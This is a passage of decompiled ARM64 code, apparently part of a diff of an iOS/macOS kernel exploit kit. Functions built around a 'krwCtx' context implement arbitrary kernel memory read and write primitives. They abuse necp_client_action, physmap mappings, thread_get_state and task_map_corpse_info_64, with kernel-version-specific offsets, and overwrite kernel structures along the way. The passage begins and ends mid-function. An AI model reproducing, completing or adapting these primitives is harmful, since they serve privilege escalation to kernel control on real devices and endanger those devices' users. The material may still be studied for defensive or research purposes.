0u; + *(_OWORD *)(a2 + 64) = 0u; + *(_OWORD *)(a2 + 80) = 0u; + *(_OWORD *)(a2 + 32) = 0u; + *(_OWORD *)(a2 + 48) = 0u; + *(_OWORD *)a2 = 0u; + *(_OWORD *)(a2 + 16) = 0u; + *(_QWORD *)(a2 + 16) = 0x6300000003LL; + *(_DWORD *)(a2 + 28) = 0; + if ( a5 == 7 && (v5 = *(_QWORD *)(result + 544)) != 0 ) + { + *(_QWORD *)(a2 + 40) = v5; + *(_QWORD *)(a2 + 56) = a3 + 96; + *(_QWORD *)(a2 + 104) = a4; + } + else + { + *(_QWORD *)(a2 + 40) = a3 + 96; + *(_QWORD *)(a2 + 56) = a4; + *(_DWORD *)(a2 + 96) = a5; + } + *(_QWORD *)(a2 + 64) = 0LL; + *(_BYTE *)(a2 + 83) = 34; + *(_QWORD *)(a2 + 88) = 0LL; + return result; +} + +//----- (000000000002566C) ---------------------------------------------------- +__int64 __fastcall sub_2566C(struct_krwCtx *a1, int *a2, unsigned __int64 a3) +{ + __int64 result; // x0 + _BYTE __s2[96]; // [xsp+8h] [xbp-D8h] BYREF + _BYTE __s1[96]; // [xsp+68h] [xbp-78h] BYREF + + if ( !kreadbuf(a1, a3, 0x60u, __s1, 1) ) + return 163855; + result = sub_1F714((__int64)a2, __s1, 0x60u); + if ( !(_DWORD)result ) + { + result = sub_1F770(a2, __s2, 0x60u); + if ( !(_DWORD)result ) + { + if ( !memcmp(__s1, __s2, 0x60u) ) + return 0; + else + return 708628; + } + } + return result; +} + +//----- (000000000002572C) ---------------------------------------------------- +__int64 __fastcall kreadbuf_last_1(struct_krwCtx *ctx, __int64 vaddr, __int64 size, void *outBuf) +{ + return kreadbuf(ctx, vaddr, size, outBuf, 1); +} + +//----- (0000000000025734) ---------------------------------------------------- +bool __fastcall sub_25734(__int64 a1) +{ + __int64 v1; // x19 + unsigned __int64 v2; // x8 + bool v3; // zf + int v5; // w1 + + v1 = a1; + v2 = *(_QWORD *)(a1 + 344); + if ( v2 >= 0x27120000000000LL ) + { + v3 = *(_QWORD *)(a1 + 7504) == 0; + return !v3; + } + if ( v2 < 0x1F530F02800000LL ) + { + if ( *(_QWORD *)(a1 + 560) && *(_QWORD *)(a1 + 552) ) + { + if ( *(_BYTE *)(a1 + 11) ) + { + v5 = 8388864; + goto LABEL_16; + } + return 1; + } + return 0; + } + if ( *(_DWORD *)(a1 + 6468) == -1 || uuid_is_null((const unsigned __int8 *)(a1 + 6472)) || !*(_QWORD *)(v1 + 6488) ) + return 0; + if ( !*(_BYTE *)(v1 + 11) ) + return 1; + a1 = v1; + v5 = 134217984; +LABEL_16: + v3 = !krw_ctx_has_flag((struct_krwCtx *)a1, v5); + return !v3; +} + +//----- (0000000000025804) ---------------------------------------------------- +__int64 __fastcall sub_25804(__int64 a1) +{ + unsigned __int64 v2; // x8 + _QWORD *v3; // x21 + int v4; // w0 + int v5; // w20 + int v6; // w0 + int v7; // w21 + __int64 v8; // x20 + unsigned __int64 v9; // x22 + __int64 v10; // x9 + __int64 v11; // x9 + mach_port_t v12; // w21 + unsigned __int64 v13; // x0 + unsigned __int64 v14; // x0 + vm_size_t v15; // x22 + int v16; // w0 + int v17; // w19 + int v18; // w8 + int v19; // w19 + int v20; // w8 + void *(__cdecl *v21)(void *); // x0 + int v22; // w8 + thread_act_t v23; // w0 + mach_port_t v25; // w23 + unsigned __int64 v26; // x0 + unsigned __int64 v27; // x20 + __int64 v28; // x8 + _BOOL4 v29; // w0 + __int64 v30; // x0 + int v31; // w24 + pthread_t v32; // x8 + __int64 v33; // [xsp+0h] [xbp-B0h] BYREF + int v34; // [xsp+Ch] [xbp-A4h] BYREF + __int64 v35; // [xsp+10h] [xbp-A0h] BYREF + vm_address_t address; // [xsp+18h] [xbp-98h] BYREF + pthread_t v37; // [xsp+20h] [xbp-90h] BYREF + pthread_attr_t v38; // [xsp+28h] [xbp-88h] BYREF + + v2 = *(_QWORD *)(a1 + 344); + if ( v2 >= 0x27120000000000LL ) + { + address = 0; + v37 = 0; + v3 = calloc(1u, 0x20u); + if ( v3 ) + { + v4 = pthread_attr_init(&v38); + if ( v4 ) + { + v5 = v4; + } + else + { + v16 = pthread_attr_setdetachstate(&v38, 1); + if ( v16 ) + { + v5 = v16; + pthread_attr_destroy(&v38); + } + else + { + v21 = (void *(__cdecl *)(void *))nullsub_1(sub_2AB10); + v5 = pthread_create_suspended_np(&v37, &v38, v21, 0); + pthread_attr_destroy(&v38); + if ( !v5 ) + { + v25 = pthread_mach_thread_np(v37); + v26 = port_name_to_kaddr((struct_krwCtx *)a1, v25); + if ( v26 ) + { + v27 = v26; + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 0x4000000) ) + { + v28 = 264; + } + else if ( krw_ctx_has_flag((struct_krwCtx *)a1, 89669633) ) + { + v28 = 184; + } + else + { + v29 = krw_ctx_has_flag((struct_krwCtx *)a1, 512); + v28 = 184; + if ( !v29 ) + v28 = 256; + } + v30 = sub_21844(a1, v28 + v27); + if ( v30 ) + { + v31 = v30; + address = 0; + v15 = *(unsigned int *)(a1 + 384); + v8 = physmap_maybe(a1, &address, v15, v30 & ~*(_QWORD *)(a1 + 392)); + if ( !(_DWORD)v8 ) + { + v32 = v37; + v3[1] = v15; + v3[2] = v32; + LODWORD(v32) = *(_DWORD *)(a1 + 392) & v31; + *((_DWORD *)v3 + 6) = v25; + *((_DWORD *)v3 + 7) = (_DWORD)v32; + *v3 = address; + *(_QWORD *)(a1 + 7504) = v3; + return v8; + } + } + else + { + v15 = 0; + v8 = 163878; + } + } + else + { + v15 = 0; + v8 = 163848; + } + goto LABEL_42; + } + } + } + v15 = 0; + if ( v5 >= 0 ) + v22 = v5; + else + v22 = -v5; + v8 = v22 | 0x40000000u; + } + else + { + v15 = 0; + v8 = 708617; + } +LABEL_42: + if ( v37 ) + { + v23 = pthread_mach_thread_np(v37); + if ( !thread_resume(v23) ) + pthread_join(v37, 0); + } + if ( address && v15 ) + vm_deallocate(mach_task_self_, address, v15); + if ( v3 ) + free(v3); + return v8; + } + if ( v2 < 0x1F530F02800000LL ) + { + v12 = mach_task_self_; + v13 = sub_34FF8(a1, mach_task_self_, (unsigned int *)&v38); + v8 = 163854; + if ( v13 ) + { + *(_QWORD *)(a1 + 560) = v13; + v14 = sub_33268(a1, v12); + if ( v14 ) + { + v8 = 0; + *(_QWORD *)(a1 + 552) = v14; + } + } + } + else + { + v37 = 0; + v6 = necp_open(); + if ( v6 != -1 ) + { + v7 = v6; + if ( (unsigned int)necp_client_action() == -1 ) + { + v19 = *__error(); + v20 = *__error(); + if ( v19 < 0 ) + v20 = -v20; + v8 = v20 | 0x40000000u; + } + else + { + v8 = sub_35938((struct_krwCtx *)a1, v7, (__int64 *)&address); + if ( !(_DWORD)v8 ) + { + v8 = 163855; + if ( kread64_outptr((struct_krwCtx *)a1, address + 24, (unsigned __int64 *)&v35) ) + { + if ( validate_addr(a1, v35) ) + { + v9 = *(_QWORD *)(a1 + 344); + v10 = 880; + if ( v9 > 0x1F541DFFFFFFFFLL ) + v10 = 1392; + if ( v9 >> 43 > 0x44A ) + v10 = 1408; + if ( kreadbuf((struct_krwCtx *)a1, v10 + v35, 4u, &v34, 1) ) + { + if ( v34 != 8 ) + return 163857; + v11 = 888; + if ( v9 > 0x1F541DFFFFFFFFLL ) + v11 = 1400; + if ( v9 >> 43 > 0x44A ) + v11 = 1416; + if ( kread64_outptr((struct_krwCtx *)a1, v35 + v11, (unsigned __int64 *)&v33) ) + { + if ( validate_addr(a1, v33) ) + { + v8 = 0; + *(_DWORD *)(a1 + 6468) = v7; + *(_OWORD *)(a1 + 6472) = *(_OWORD *)&v38.__sig; + *(_QWORD *)(a1 + 6488) = v35; + } + else + { + return 163878; + } + } + return v8; + } + } + else + { + v8 = 163878; + } + } + } + } + close(v7); + return v8; + } + v17 = *__error(); + v18 = *__error(); + if ( v17 < 0 ) + v18 = -v18; + return v18 | 0x40000000u; + } + return v8; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000025C6C) ---------------------------------------------------- +__int64 __fastcall sub_25C6C(__int64 a1) +{ + unsigned __int64 v2; // x8 + __int64 v3; // x21 + __int64 v4; // x20 + vm_size_t v5; // x2 + kern_return_t v6; // w0 + _opaque_pthread_t *v7; // x0 + thread_act_t v8; // w0 + int v9; // w0 + int v10; // w0 + int v12; // [xsp+8h] [xbp-28h] BYREF + int v13; // [xsp+Ch] [xbp-24h] BYREF + + v2 = *(_QWORD *)(a1 + 344); + if ( v2 < 0x27120000000000LL ) + { + if ( v2 < 0x1F530F02800000LL ) + { + return 0; + } + else + { + v12 = -1; + v3 = fd_open_dev_null(&v12); + if ( !(_DWORD)v3 ) + { + v9 = *(_DWORD *)(a1 + 6468); + if ( v9 != -1 ) + { + close(v9); + *(_DWORD *)(a1 + 6468) = -1; + } + *(_OWORD *)(a1 + 6472) = 0u; + *(_QWORD *)(a1 + 6488) = 0; + v10 = v12; + goto LABEL_21; + } + } + } + else + { + v13 = -1; + v3 = fd_open_dev_null(&v13); + if ( !(_DWORD)v3 ) + { + v4 = *(_QWORD *)(a1 + 7504); + *(_QWORD *)(a1 + 7504) = 0; + if ( !v4 ) + { + v3 = 0; +LABEL_20: + v10 = v13; +LABEL_21: + fd_close(v10); + return v3; + } + if ( *(_QWORD *)v4 ) + { + v5 = *(_QWORD *)(v4 + 8); + if ( v5 ) + { + v6 = vm_deallocate(mach_task_self_, *(_QWORD *)v4, v5); + if ( v6 ) + goto LABEL_9; + } + } + v7 = *(_opaque_pthread_t **)(v4 + 16); + if ( v7 ) + { + v8 = pthread_mach_thread_np(v7); + v6 = thread_resume(v8); + if ( v6 ) + { +LABEL_9: + v3 = v6 | 0x80000000; +LABEL_19: + *(_OWORD *)v4 = 0u; + *(_OWORD *)(v4 + 16) = 0u; + *(_QWORD *)(a1 + 7504) = 0; + free((void *)v4); + goto LABEL_20; + } + pthread_join(*(pthread_t *)(v4 + 16), 0); + } + v3 = 0; + goto LABEL_19; + } + } + return v3; +} + +//----- (0000000000025DB0) ---------------------------------------------------- +__int64 __fastcall sub_25DB0(__int64 a1) +{ + unsigned __int64 v1; // x8 + unsigned int v2; // w9 + + v1 = *(_QWORD *)(a1 + 344); + if ( v1 <= 0x1F530F027FFFFFLL ) + v2 = 0x4000; + else + v2 = 0x80000; + if ( v1 <= 0x2711FFFFFFFFFFLL ) + return v2; + else + return 528LL; +} + +//----- (0000000000025DE8) ---------------------------------------------------- +bool __fastcall sub_25DE8(__int64 a1) +{ + return *(_DWORD *)(a1 + 6448) != -1 + && *(_DWORD *)(a1 + 6452) != -1 + && *(_DWORD *)(a1 + 6464) != -1 + && *(_QWORD *)(a1 + 536) + || (unsigned int)(*(_DWORD *)(a1 + 232) + 1) >= 2 + && *(_QWORD *)(a1 + 248) + && *(_QWORD *)(a1 + 256) + && *(int *)(a1 + 320) < 10002; +} + +//----- (0000000000025E54) ---------------------------------------------------- +__int64 __fastcall sub_25E54(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5) +{ + __int64 v5; // x21 + __int64 test; // x26 + __int64 v12; // x28 + unsigned int v13; // w8 + __int64 v14; // x19 + __int64 v15; // x26 + size_t v16; // x27 + unsigned __int64 v17; // x8 + int v18; // w9 + unsigned int v19; // w8 + unsigned int v20; // w8 + __int64 v21; // x25 + __int64 v22; // x2 + __int64 v23; // x0 + int v24; // w25 + int v25; // w8 + size_t v26; // x2 + size_t v27; // x2 + int v28; // w25 + int v29; // w8 + int v31; // [xsp+14h] [xbp-1CCh] + __int64 v32; // [xsp+18h] [xbp-1C8h] + int *v33; // [xsp+20h] [xbp-1C0h] + int v34; // [xsp+2Ch] [xbp-1B4h] BYREF + _BYTE __s2[160]; // [xsp+30h] [xbp-1B0h] BYREF + _DWORD __s1[42]; // [xsp+D0h] [xbp-110h] BYREF + + v5 = 708609; + if ( *(_DWORD *)(a1 + 6448) == -1 + || *(_DWORD *)(a1 + 6452) == -1 + || *(_DWORD *)(a1 + 6464) == -1 + || !*(_QWORD *)(a1 + 536) + || !validate_addr_maybe2((struct_krwCtx *)a1, a2) ) + { + return v5; + } + v34 = -1; + if ( a5 ) + { + test = fd_open_dev_null(&v34); + if ( (_DWORD)test ) + goto LABEL_67; + test = fd_read_test((int *)(a1 + 6448)); + if ( (_DWORD)test ) + goto LABEL_67; + } + v31 = a5; + v33 = (int *)(a1 + 6448); + if ( *(_QWORD *)(a1 + 544) ) + v12 = 8; + else + v12 = 4; + if ( !a4 ) + { +LABEL_61: + test = sub_267E8(a1); + goto LABEL_66; + } + v13 = 0; + v32 = v12; + while ( 1 ) + { + v14 = v13; + v15 = a2 + v13; + v16 = a4 - v13; + if ( (*(_QWORD *)(a1 + 392) & v15) != 0 || (unsigned int)v16 < 0x4000 || !sub_25734(a1) ) + break; + v17 = *(_QWORD *)(a1 + 344); + if ( v17 <= 0x1F530F027FFFFFLL ) + v18 = 0x4000; + else + v18 = 0x80000; + if ( v17 <= 0x2711FFFFFFFFFFLL ) + v19 = v18; + else + v19 = 528; + if ( (unsigned int)v16 >= v19 ) + LODWORD(v16) = v19; + test = sub_26204(a1, v15, (char *)(a3 + v14), v16); +LABEL_54: + if ( (_DWORD)test ) + goto LABEL_65; + v13 = v16 + v14; + if ( (int)v16 + (int)v14 >= a4 ) + goto LABEL_61; + } + v20 = v12 - v16; + if ( (unsigned int)v12 <= (unsigned int)v16 ) + { + v20 = 0; + } + else if ( (((v15 - 1 + (unsigned int)v16) ^ (v15 - 1 + v12)) & ~*(_QWORD *)(a1 + 392)) == 0 ) + { + v20 = 0; + } + v21 = v20; + if ( !*(_QWORD *)(a1 + 544) ) + { + v23 = sub_266D0(a1, v15 - v20); + if ( (_DWORD)v23 ) + goto LABEL_63; + *__error() = 0; + __s1[0] = fcntl(*(_DWORD *)(a1 + 6464), 5); + if ( __s1[0] == -1 && *__error() ) + { + v28 = *__error(); + v29 = *__error(); + if ( v28 < 0 ) + v29 = -v29; + test = v29 | 0x40000000u; + } + else + { + if ( (unsigned int)v16 >= 4 ) + v26 = 4; + else + v26 = v16; + memcpy((void *)(a3 + v14), (char *)__s1 + v21, v26); + test = 0; + } + goto LABEL_53; + } + if ( *v33 == -1 || *(_DWORD *)(a1 + 6452) == -1 || (v22 = *(_QWORD *)(a1 + 536)) == 0 ) + { + test = 708609; + goto LABEL_65; + } + memset(__s1, 0, 160); + sub_255FC(a1, (__int64)__s1, v22, v15 - v20 - 72, 7); + v23 = sub_1F714((__int64)v33, __s1, 0xA0u); + if ( (_DWORD)v23 || (v23 = sub_1F770(v33, __s2, 0xA0u), (_DWORD)v23) ) + { +LABEL_63: + test = v23; + goto LABEL_65; + } + if ( !memcmp(__s1, __s2, 0xA0u) ) + { + if ( ioctl(*(_DWORD *)(a1 + 6464), 0x40087367u, __s1) ) + { + v24 = *__error(); + v25 = *__error(); + if ( v24 < 0 ) + v25 = -v25; + test = v25 | 0x40000000u; + } + else + { + if ( (unsigned int)v16 >= 8 ) + v27 = 8; + else + v27 = v16; + memcpy((void *)(a3 + v14), (char *)__s1 + v21, v27); + test = 0; + } + v12 = v32; +LABEL_53: + LODWORD(v16) = v12; + goto LABEL_54; + } + test = 708628; +LABEL_65: + sub_267E8(a1); +LABEL_66: + if ( v31 ) +LABEL_67: + fd_close(v34); + return test; +} + +//----- (0000000000026204) ---------------------------------------------------- +__int64 __fastcall sub_26204(__int64 a1, __int64 a2, char *a3, mach_msg_type_number_t a4) +{ + unsigned __int64 v7; // x8 + __int64 v8; // x21 + __int64 *v9; // x8 + unsigned __int64 v10; // x24 + unsigned __int64 v11; // x27 + __int64 v12; // x21 + __int64 v13; // x28 + __int64 v14; // x20 + __int64 v15; // x9 + __int64 v16; // x10 + unsigned __int64 v17; // x9 + unsigned __int64 v18; // x25 + __int64 v19; // x26 + size_t v20; // x22 + __int64 v21; // x23 + unsigned __int64 v22; // x8 + __int64 v23; // x9 + __int64 v24; // x10 + bool v25; // cc + __int64 v26; // x8 + unsigned __int64 v27; // x20 + __int64 v28; // x21 + unsigned __int64 v29; // x23 + __int64 v30; // x8 + __int64 v31; // x8 + __int64 v33; // x8 + unsigned __int64 v34; // x23 + unsigned __int64 v35; // x24 + __int64 v36; // x25 + __int64 v37; // x20 + kern_return_t v38; // w0 + int v39; // w21 + int v40; // w8 + natural_t old_state[134]; // [xsp+10h] [xbp-290h] BYREF + __int64 v43; // [xsp+228h] [xbp-78h] BYREF + __int64 v44; // [xsp+230h] [xbp-70h] BYREF + mach_vm_size_t kcd_size; // [xsp+238h] [xbp-68h] BYREF + mach_msg_type_number_t old_stateCnt[2]; // [xsp+240h] [xbp-60h] BYREF + + v7 = *(_QWORD *)(a1 + 344); + if ( v7 < 0x27120000000000LL ) + { + v8 = 708609; + if ( v7 >= 0x1F530F02800000LL ) + { + *(_QWORD *)old_state = a2; + old_stateCnt[0] = a4; + if ( *(_DWORD *)(a1 + 6468) != -1 ) + { + v21 = *(_QWORD *)(a1 + 6488); + if ( !uuid_is_null((const unsigned __int8 *)(a1 + 6472)) ) + { + if ( *(_QWORD *)(a1 + 6488) ) + { + v22 = *(_QWORD *)(a1 + 344); + v23 = 880; + if ( v22 > 0x1F541DFFFFFFFFLL ) + v23 = 1392; + v24 = 888; + if ( v22 > 0x1F541DFFFFFFFFLL ) + v24 = 1400; + v25 = v22 >> 43 > 0x44A; + v26 = 1408; + if ( !v25 ) + v26 = v23; + v27 = v26 + v21; + if ( v25 ) + v28 = 1416; + else + v28 = v24; + v29 = v21 + v28; + if ( noppl_kwritebuf(a1, v27, old_stateCnt, 4u, 0) ) + { + LODWORD(v8) = 163856; + if ( noppl_kwritebuf(a1, v29, old_state, *(unsigned int *)(a1 + 360), 0) ) + { + if ( (unsigned int)necp_client_action() == a4 ) + { + LODWORD(v8) = 0; + } + else + { + v39 = *__error(); + v40 = *__error(); + if ( v39 < 0 ) + v40 = -v40; + LODWORD(v8) = v40 | 0x40000000; + } + } + } + else + { + LODWORD(v8) = 163856; + } + old_stateCnt[0] = 0; + if ( noppl_kwritebuf(a1, v27, old_stateCnt, 4u, 0) | (unsigned int)v8 ) + v8 = (unsigned int)v8; + else + v8 = 163856; + *(_QWORD *)old_state = 0; + if ( !noppl_kwritebuf(a1, v29, old_state, *(unsigned int *)(a1 + 360), 0) ) + { + if ( (_DWORD)v8 ) + return (unsigned int)v8; + else + return 163856; + } + } + } + } + return v8; + } + *(_QWORD *)old_state = a2; + kcd_size = 0; + *(_QWORD *)old_stateCnt = 0; + v43 = 0; + v44 = 0; + if ( a4 > 0x4000 || !*(_QWORD *)(a1 + 560) || !*(_QWORD *)(a1 + 552) ) + return v8; + if ( (unsigned int)(*(_DWORD *)(a1 + 232) + 1) >= 2 && *(_QWORD *)(a1 + 248) && *(_QWORD *)(a1 + 256) ) + { + v33 = *(_QWORD *)(a1 + 240); + if ( !v33 ) + { + v8 = 708617; + goto LABEL_75; + } + v31 = v33 + 256; + } + else + { + if ( *(_DWORD *)(a1 + 6448) == -1 ) + goto LABEL_75; + if ( *(_DWORD *)(a1 + 6452) == -1 ) + goto LABEL_75; + if ( *(_DWORD *)(a1 + 6464) == -1 ) + goto LABEL_75; + v30 = *(_QWORD *)(a1 + 536); + if ( !v30 ) + goto LABEL_75; + v31 = v30 + 192; + } + v8 = 163856; + v44 = v31; + if ( noppl_kwritebuf(a1, v31 + 8, old_state, *(unsigned int *)(a1 + 360), 0) ) + { + v34 = *(_QWORD *)(a1 + 552); + if ( noppl_kwritebuf(a1, v34, &v44, *(unsigned int *)(a1 + 360), 0) ) + { + v35 = *(_QWORD *)(a1 + 560); + v36 = 163855; + if ( kreadbuf((struct_krwCtx *)a1, v35, 4u, (char *)&v43 + 4, 0) ) + { + LODWORD(v43) = HIDWORD(v43) | 0x20; + v37 = 163856; + if ( !noppl_kwritebuf(a1, v35, &v43, 4u, 0) ) + goto LABEL_70; + v38 = task_map_corpse_info_64(mach_task_self_, mach_task_self_, (mach_vm_address_t *)old_stateCnt, &kcd_size); + if ( v38 ) + { + v36 = v38 | 0x80000000; + } + else if ( *(_QWORD *)old_stateCnt && kcd_size == 0x4000 ) + { + memcpy(a3, *(const void **)old_stateCnt, a4); + v36 = 0; + } + if ( !noppl_kwritebuf(a1, v35, (char *)&v43 + 4, 4u, 0) ) + { + if ( (_DWORD)v36 ) + v37 = (unsigned int)v36; + else + v37 = 163856; + goto LABEL_70; + } + } + v37 = v36; +LABEL_70: + v44 = 0; + if ( noppl_kwritebuf(a1, v34, &v44, *(unsigned int *)(a1 + 360), 0) ) + { + v8 = v37; + } + else if ( (_DWORD)v37 ) + { + v8 = (unsigned int)v37; + } + else + { + v8 = 163856; + } + } + } +LABEL_75: + if ( *(_QWORD *)old_stateCnt && kcd_size ) + mach_vm_deallocate(mach_task_self_, *(mach_vm_address_t *)old_stateCnt, kcd_size); + return v8; + } + v8 = 708609; + v9 = *(__int64 **)(a1 + 7504); + if ( v9 ) + { + if ( a4 ) + { + v10 = 0; + v11 = a4; + while ( 1 ) + { + v12 = v10 + a2; + v13 = *v9; + v14 = *((unsigned int *)v9 + 7); + old_stateCnt[0] = 132; + v15 = *(_QWORD *)(a1 + 392); + v16 = (v10 + a2) & ~v15; + v17 = v15 & (v10 + a2); + if ( v17 >= (unsigned __int64)*(unsigned int *)(a1 + 384) - 528 ) + v17 = *(unsigned int *)(a1 + 384) - 528LL; + v18 = v17 + v16; + v19 = *(_QWORD *)(v13 + v14); + __dsb(0xBu); + *(_QWORD *)(v13 + v14) = v17 + v16 - 16; + if ( thread_get_state(*((_DWORD *)v9 + 6), 17, old_state, old_stateCnt) || old_stateCnt[0] != 132 ) + break; + if ( v18 - v12 + 528 <= v11 - v10 ) + v20 = v18 - v12 + 528; + else + v20 = v11 - v10; + memcpy(&a3[v10], (char *)old_state + v12 - v18, v20); + *(_QWORD *)(v14 + v13) = v19; + v10 += v20; + if ( v10 >= v11 ) + return 0; + v9 = *(__int64 **)(a1 + 7504); + } + *(_QWORD *)(v14 + v13) = v19; + return 708642; + } + else + { + return 0; + } + } + return v8; +} + +//----- (00000000000266D0) ---------------------------------------------------- +__int64 __fastcall sub_266D0(__int64 a1, __int64 a2) +{ + __int64 v2; // x19 + __int64 v3; // x8 + int *v4; // x20 + __int64 v5; // x0 + _BYTE v7[160]; // [xsp+0h] [xbp-170h] BYREF + _OWORD __s1[2]; // [xsp+A0h] [xbp-D0h] BYREF + __int64 v9; // [xsp+C0h] [xbp-B0h] + __int64 v10; // [xsp+C8h] [xbp-A8h] + __int64 v11; // [xsp+D0h] [xbp-A0h] + __int64 v12; // [xsp+D8h] [xbp-98h] + __int128 v13; // [xsp+E0h] [xbp-90h] + __int128 v14; // [xsp+F0h] [xbp-80h] + __int128 v15; // [xsp+100h] [xbp-70h] + __int128 v16; // [xsp+110h] [xbp-60h] + __int128 v17; // [xsp+120h] [xbp-50h] + __int128 v18; // [xsp+130h] [xbp-40h] + + v2 = 708609; + if ( *(_DWORD *)(a1 + 6448) != -1 && *(_DWORD *)(a1 + 6452) != -1 ) + { + v3 = *(_QWORD *)(a1 + 536); + if ( v3 ) + { + v4 = (int *)(a1 + 6448); + v9 = 0; + v11 = 0; + v17 = 0u; + v18 = 0u; + v15 = 0u; + v16 = 0u; + v13 = 0u; + v14 = 0u; + __s1[0] = 0u; + __s1[1] = 0x6300000003uLL; + v10 = v3 + 96; + v12 = a2 - 96; + LODWORD(v15) = 2; + BYTE3(v14) = 34; + v5 = sub_1F714(a1 + 6448, __s1, 0xA0u); + if ( !(_DWORD)v5 ) + { + v5 = sub_1F770(v4, v7, 0xA0u); + if ( !(_DWORD)v5 ) + { + if ( !memcmp(__s1, v7, 0xA0u) ) + return 0; + else + return 708628; + } + } + return v5; + } + } + return v2; +} + +//----- (00000000000267E8) ---------------------------------------------------- +__int64 __fastcall sub_267E8(__int64 a1) +{ + __int64 v1; // x19 + __int64 v2; // x8 + int *v3; // x20 + __int64 v4; // x0 + _BYTE v6[160]; // [xsp+0h] [xbp-170h] BYREF + _OWORD __s1[2]; // [xsp+A0h] [xbp-D0h] BYREF + __int64 v8; // [xsp+C0h] [xbp-B0h] + __int64 v9; // [xsp+C8h] [xbp-A8h] + __int128 v10; // [xsp+D0h] [xbp-A0h] + __int128 v11; // [xsp+E0h] [xbp-90h] + __int128 v12; // [xsp+F0h] [xbp-80h] + __int128 v13; // [xsp+100h] [xbp-70h] + __int128 v14; // [xsp+110h] [xbp-60h] + __int128 v15; // [xsp+120h] [xbp-50h] + __int128 v16; // [xsp+130h] [xbp-40h] + + v1 = 708609; + if ( *(_DWORD *)(a1 + 6448) != -1 && *(_DWORD *)(a1 + 6452) != -1 ) + { + v2 = *(_QWORD *)(a1 + 536); + if ( v2 ) + { + v3 = (int *)(a1 + 6448); + v15 = 0u; + v16 = 0u; + v13 = 0u; + v14 = 0u; + v11 = 0u; + v12 = 0u; + v8 = 0; + v10 = 0u; + __s1[0] = 0u; + __s1[1] = 0x6300000003uLL; + v9 = v2 + 96; + LODWORD(v13) = 3; + BYTE3(v12) = 34; + v4 = sub_1F714(a1 + 6448, __s1, 0xA0u); + if ( !(_DWORD)v4 ) + { + v4 = sub_1F770(v3, v6, 0xA0u); + if ( !(_DWORD)v4 ) + { + if ( !memcmp(__s1, v6, 0xA0u) ) + return 0; + else + return 708628; + } + } + return v4; + } + } + return v1; +} + +//----- (00000000000268F8) ---------------------------------------------------- +__int64 __fastcall sub_268F8(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5) +{ + __int64 test; // x24 + unsigned int v11; // w27 + unsigned __int64 v12; // x8 + unsigned __int64 v13; // x9 + unsigned int v14; // w28 + size_t v15; // x25 + __int64 v16; // x26 + __int64 v17; // x0 + int v18; // w0 + int v19; // w21 + int v20; // w8 + unsigned int v22; // [xsp+8h] [xbp-58h] BYREF + int v23; // [xsp+Ch] [xbp-54h] BYREF + + test = 708609; + if ( *(_DWORD *)(a1 + 6448) == -1 + || *(_DWORD *)(a1 + 6452) == -1 + || *(_DWORD *)(a1 + 6464) == -1 + || !*(_QWORD *)(a1 + 536) + || !validate_addr_maybe2((struct_krwCtx *)a1, a2) ) + { + return test; + } + v23 = -1; + if ( a5 ) + { + test = fd_open_dev_null(&v23); + if ( (_DWORD)test ) + goto LABEL_34; + test = fd_read_test((int *)(a1 + 6448)); + if ( (_DWORD)test ) + goto LABEL_34; + } + if ( !a4 ) + { +LABEL_27: + test = sub_267E8(a1); + goto LABEL_33; + } + v11 = 0; + while ( 1 ) + { + v12 = a4 - v11; + v22 = 0; + v13 = a2 + v11; + if ( (unsigned int)v12 >= 4 ) + { + v14 = 0; + } + else if ( (((v13 + (unsigned int)v12 - 1) ^ (v13 + 3)) & ~*(_QWORD *)(a1 + 392)) != 0 ) + { + v14 = 4 - v12; + } + else + { + v14 = 0; + } + if ( 4 - (unsigned __int64)v14 >= v12 ) + v15 = a4 - v11; + else + v15 = 4LL - v14; + v16 = v13 - v14; + if ( v15 <= 3 && (v17 = kreadbuf_via_dev_null_only(a1, v13 - v14, (__int64)&v22, 4u, 0), (_DWORD)v17) + || (v17 = sub_266D0(a1, v16), (_DWORD)v17) ) + { + test = v17; + goto LABEL_32; + } + memcpy((char *)&v22 + v14, (const void *)(a3 + v11), v15); + v18 = *(_DWORD *)(a1 + 6464); + if ( !*(_QWORD *)(a1 + 544) ) + break; + if ( ioctl(v18, 0x8004667C, &v22) ) + goto LABEL_29; +LABEL_26: + v11 = v11 - v14 + 4; + if ( v11 >= a4 ) + goto LABEL_27; + } + if ( !fcntl(v18, 6, v22) ) + goto LABEL_26; +LABEL_29: + v19 = *__error(); + v20 = *__error(); + if ( v19 < 0 ) + v20 = -v20; + test = v20 | 0x40000000u; +LABEL_32: + sub_267E8(a1); +LABEL_33: + if ( a5 ) +LABEL_34: + fd_close(v23); + return test; +} + +//----- (0000000000026B00) ---------------------------------------------------- +__int64 __fastcall sub_26B00(__int64 a1, int a2) +{ + void *v2; // x19 + _opaque_pthread_t *v3; // x0 + semaphore_t v4; // w8 + semaphore_t v6; // w1 + semaphore_t v7; // w1 + int v8; // w0 + + v2 = *(void **)(a1 + 40); + if ( v2 ) + { + *(_BYTE *)(a1 + 12) = 0; + *(_QWORD *)(a1 + 40) = 0; + v3 = *(_opaque_pthread_t **)v2; + if ( *(_QWORD *)v2 ) + { + v4 = *((_DWORD *)v2 + 2); + if ( v4 + 1 >= 2 && a2 != 0 ) + { + *((_BYTE *)v2 + 56) = 1; + semaphore_signal(v4); + v3 = *(_opaque_pthread_t **)v2; + } + pthread_join(v3, 0); + *(_QWORD *)v2 = 0; + } + v6 = *((_DWORD *)v2 + 2); + if ( v6 + 1 >= 2 ) + { + semaphore_destroy(mach_task_self_, v6); + *((_DWORD *)v2 + 2) = 0; + } + v7 = *((_DWORD *)v2 + 3); + if ( v7 + 1 >= 2 ) + { + semaphore_destroy(mach_task_self_, v7); + *((_DWORD *)v2 + 3) = 0; + } + v8 = *((_DWORD *)v2 + 4); + if ( v8 != -1 ) + { + close(v8); + *((_DWORD *)v2 + 4) = -1; + } + *((_OWORD *)v2 + 2) = 0u; + *((_OWORD *)v2 + 3) = 0u; + *(_OWORD *)v2 = 0u; + *((_OWORD *)v2 + 1) = 0u; + free(v2); + } + return 0; +} + +//----- (0000000000026BE4) ---------------------------------------------------- +__int64 __fastcall sub_26BE4(__int64 a1) +{ + __int64 v2; // x20 + _DWORD *v3; // x0 + _DWORD *v4; // x21 + kern_return_t v5; // w0 + unsigned int v7; // w0 + char i; // w23 + int v9; // w0 + mach_timespec_t v10; // x1 + pthread_t v11; // [xsp+0h] 